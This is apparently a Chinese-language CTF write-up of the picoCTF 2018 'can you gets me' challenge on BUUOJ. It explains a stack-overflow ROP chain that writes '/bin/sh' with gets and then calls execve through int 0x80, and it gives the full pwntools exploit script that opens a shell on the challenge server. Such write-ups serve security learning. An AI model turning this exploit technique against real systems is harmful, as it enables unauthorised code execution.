BUU-picoctf_2018_can_you_gets_me-WP

Posted on Nov 24, 2020

这道题目是比较简单的,但是如果不仔细看的话就会出大事。

先检查一下安全措施,可能会注意到使用的命令有变化,这是以为我用的是最新版的checksec,多出了很多我看不懂得安全措施。

我们看到只开了NX。

然后看一下代码,文件非常的大,但是核心函数只有一个vuln

自然的我们想到这里有栈溢出漏洞,然后文件里面没有现成的execve或system。比较自然的想法是泄露gets和puts的got表通过libcsearcher来算出system的地址,但是把puts和gets点进去的话会发现他们是静态链接的,泄露表是不可行的,所以考虑用DynELF爆破,但这样真的可以吗?我不知道,一方面我的工具机上recv函数有问题,无法设置超时,另一方面不存在动态链接的时候应该泄露不出来libc。所以换一种方法。文件体积这么庞大,其中的gadgets非常的多,还要int 0x80让我们进入内核,这个时候就可以直接通过系统调用来实现get shell。

mov eax,0x0b
mov ebx,offset bin_sh
mov ecx,0
mov edx,0

这样的汇编代码可以执行shell,我们把它写成rop链就是

payload+=p32(pop_eax)
payload+=p32(0x0b)
payload+=p32(pop_ebx)
...

那么我们只要写入/bin/sh就可以了。在gdb里面看一下可读写的地址

写到这里面就可以了。

最后的exp

from pwn import *                                                                                                                                                                                                                                                                                                                                                                                                 
#sh = process("./PicoCTF_2018_can-you-gets-me")                                                                                                                                                            
sh = remote("node3.buuoj.cn","27497")                                                                                                                                                                      

int_addr = 0x0806cc25                                                                                                                                                                                      
pop_eax = 0x080b81c6                                                                                                                                                                                       
pop_ebx = 0x080481c9                                                                                                                                                                                       
pop_ecx = 0x080de955                                                                                                                                                                                       
pop_edx = 0x0806f02a                                                                                                                                                                                       
writebleAddr = 0x80e9000                                                                                                                                                                                   
getsAddr = 0x0804F120                                                                                                                                                                                      
                                                                                                                                                                                                           
payload = 'a'*0x18 + 'b'*4 + p32(getsAddr) + p32(pop_eax) + p32(writebleAddr) + p32(pop_eax) + p32(0x0b) + p32(pop_ebx) + p32(writebleAddr) + p32(pop_ecx) + p32(0) + p32(pop_edx) + p32(0) + p32(int_addr)
                                                                                                                                                                                                           
sh.recvuntil("GIVE ME YOUR NAME!")                                                                                                                                                                         
sh.sendline(payload)                                                                                                                                                                                       
                                                                                                                                                                                                           
sh.sendline("/bin/sh\x00")                                                                                                                                                                                 
sh.interactive()                                                                                                                                                                                           

这道题目是我的 wsl2 pwn的第一题,值得纪念,希望它可以持续工作下去